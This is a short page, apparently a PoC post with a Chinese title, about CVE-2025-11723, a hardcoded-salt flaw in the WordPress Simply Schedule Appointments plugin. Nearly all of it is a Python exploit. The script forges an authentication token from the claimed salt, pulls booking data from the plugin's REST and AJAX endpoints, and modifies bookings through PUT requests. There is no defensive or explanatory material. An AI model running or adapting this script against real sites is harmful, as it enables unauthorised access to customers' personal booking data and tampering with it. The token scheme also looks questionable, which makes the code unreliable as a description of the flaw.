CVE-2025-11723 WordPress Simply Schedule Appointments插件硬编码Salt敏感信息泄露漏洞

# CVE-2025-11723 PoC - Simply Schedule Appointments Hardcoded Salt Exploitation # This PoC demonstrates how to generate a valid token using the hardcoded salt import hashlib import requests import json from datetime import datetime # Hardcoded salt from plugin source code (known vulnerability) HARDCODED_SALT = "simply-schedule-appointments-fallback-salt-v1695" def generate_auth_token(site_url, user_id=0): """ Generate authentication token using the hardcoded salt This token can be used to bypass authentication on affected sites """ timestamp = int(datetime.now().timestamp()) data_to_hash = f"{site_url}:{user_id}:{timestamp}:{HARDCODED_SALT}" token = hashlib.sha256(data_to_hash.encode()).hexdigest() return { 'token': token, 'timestamp': timestamp, 'user_id': user_id } def exploit_booking_info(target_url): """ Exploit the vulnerability to access booking information """ token_data = generate_auth_token(target_url) # API endpoint to access bookings api_endpoints = [ f"{target_url}/wp-json/ssa/v1/bookings", f"{target_url}/wp-json/ssa/v1/appointments", f"{target_url}/wp-admin/admin-ajax.php?action=ssa_get_bookings" ] headers = { 'Content-Type': 'application/json', 'X-WP-Nonce': token_data['token'] } results = [] for endpoint in api_endpoints: try: response = requests.get(endpoint, headers=headers, timeout=10) if response.status_code == 200: results.append({ 'endpoint': endpoint, 'status': 'VULNERABLE', 'data': response.json() if response.text else 'No data' }) except requests.RequestException as e: results.append({ 'endpoint': endpoint, 'status': 'ERROR', 'error': str(e) }) return results def modify_booking(target_url, booking_id, new_data): """ Modify booking information using the generated token """ token_data = generate_auth_token(target_url) api_endpoint = f"{target_url}/wp-json/ssa/v1/bookings/{booking_id}" headers = { 'Content-Type': 'application/json', 'X-WP-Nonce': token_data['token'], 'Authorization': f'Bearer {token_data["token"]}' } try: response = requests.put(api_endpoint, json=new_data, headers=headers, timeout=10) return { 'status_code': response.status_code, 'response': response.json() if response.text else None } except requests.RequestException as e: return {'error': str(e)} # Usage example if __name__ == "__main__": target = "https://example-wordpress-site.com" print(f"[*] Generating token for {target}") token_info = generate_auth_token(target) print(f"[+] Token: {token_info['token']}") print(f"[*] Exploiting booking information...") results = exploit_booking_info(target) for result in results: print(json.dumps(result, indent=2))